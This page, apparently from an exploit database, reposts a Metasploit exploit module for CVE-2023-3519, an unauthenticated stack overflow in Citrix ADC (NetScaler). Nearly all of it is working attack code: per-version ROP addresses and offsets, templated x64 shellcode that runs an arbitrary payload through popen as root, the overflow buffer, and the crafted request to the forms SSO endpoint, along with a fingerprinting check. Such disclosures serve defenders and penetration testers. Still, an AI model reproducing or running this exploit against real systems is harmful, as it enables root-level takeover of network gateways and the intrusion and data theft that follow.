Citrix ADC (NetScaler) Remote Code Execution

2023.08.06
Credit: Ron Bowes
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super( update_info( info, 'Name' => 'Citrix ADC (NetScaler) Forms SSO Target RCE', 'Description' => %q{ A vulnerability exists within Citrix ADC that allows an unauthenticated attacker to trigger a stack buffer overflow of the nsppe process by making a specially crafted HTTP GET request. Successful exploitation results in remote code execution as root. }, 'Author' => [ 'Ron Bowes', # Analysis and module 'Douglass McKee', # Analysis and module 'Spencer McIntyre', # Just the module ], 'References' => [ ['CVE', '2023-3519'], ['URL', 'https://attackerkb.com/topics/si09VNJhHh/cve-2023-3519'], ['URL', 'https://support.citrix.com/article/CTX561482/citrix-adc-and-citrix-gateway-security-bulletin-for-cve20233519-cve20233466-cve20233467'] ], 'DisclosureDate' => '2023-07-18', 'License' => MSF_LICENSE, 'Platform' => ['unix'], 'Arch' => [ARCH_CMD], 'Payload' => { # at a certain point too much of the stack will get corrupted, should be less than target['fixup_rsp_adjustment'] 'Space' => 2048, 'DisableNops' => true }, 'Targets' => [ [ 'Citrix ADC 13.1-48.47', { 'fixup_return' => 0x00782403, # pop rbx; ns_aaa_cookie_valid 'fixup_rsp_adjustment' => 0x13a8, 'popen' => 0x01da6340, 'return' => 0x00611ae9, # jmp rsp; ns_create_cfg_nsp 'return_offset' => 168 }, ], [ 'Citrix ADC 13.1-37.38', { 'fixup_return' => 0x0077c324, # pop rbx; ns_aaa_cookie_valid 'fixup_rsp_adjustment' => 0x13a8, 'popen' => 0x01d7e320, 'return' => 0x015d131d, # jmp rsp; tfocookie_send_callback 'return_offset' => 168 }, ], [ 'Citrix ADC 13.0-91.12', { 'fixup_return' => 0x008530a2, # mov rbx, qword [rbp-0x28]; ns_aaa_cookie_valid 'fixup_rsp_adjustment' => 0x12e0, # in this version the epilogue of ns_aaa_cookie_valid reads directly from rbp and since the exploit # clobbers it, the value needs to be restored 'fixup_rbp_adjustment' => 0x190, 'popen' => 0x01f42ec0, 'return' => 0x024883bf, # jmp rsp; ns_pixl_eval_nvlist_t_typecast_list_t_dynamic 'return_offset' => 168 } ] ], 'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true, 'WfsDelay' => 10 }, 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS] } ) ) register_options([ OptString.new('TARGETURI', [true, 'Base path', '/']) ]) end def check res = send_request_cgi({ 'uri' => normalize_uri(datastore['TARGETURI'], 'logon', 'LogonPoint', 'index.html') }) return CheckCode::Unknown if res.nil? return CheckCode::Safe unless res.code == 200 && res.body =~ /<title class="_ctxstxt_NetscalerGateway">/ CheckCode::Detected end def exploit shellcode = Metasm::Shellcode.assemble(Metasm::X64.new, Template.render(<<-SHELLCODE, target: target)).encode_string call loc_popen_arg1 ; add this to the path for python payloads db "export PATH=/var/python/bin:$PATH;" db "#{Rex::Text.to_hex(payload.encoded)}", 0 loc_popen_arg1: pop rdi call loc_popen_arg2 db "r", 0 loc_popen_arg2: pop rsi mov rax, <%= target['popen'] %> sub rsp, 0x200 call rax loc_return: xor rax, rax add rsp, <%= target['fixup_rsp_adjustment'] + 0x200 %> <% if target['fixup_rbp_adjustment'] %> mov rbp, rsp add rbp, <%= target['fixup_rbp_adjustment'] %> <% end %> push <%= target['fixup_return'] %> ret SHELLCODE buffer = rand_text_alphanumeric(target['return_offset']) buffer << [target['return']].pack('Q') buffer << shellcode.bytes.map { |b| (b < 0xa0) ? '%%%02x' % b : b.chr }.join send_request_cgi({ 'uri' => normalize_uri(datastore['TARGETURI'], 'gwtest', 'formssso'), 'encode_params' => false, # we'll encode them ourselves 'vars_get' => { 'event' => 'start', 'target' => buffer } }) end class Template def self.render(template, context = nil) case context when Hash b = binding locals = context.collect { |k, _| "#{k} = context[#{k.inspect}]; " } b.eval(locals.join) when NilClass b = binding else raise ArgumentError end b.eval(Erubi::Engine.new(template).src) end end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top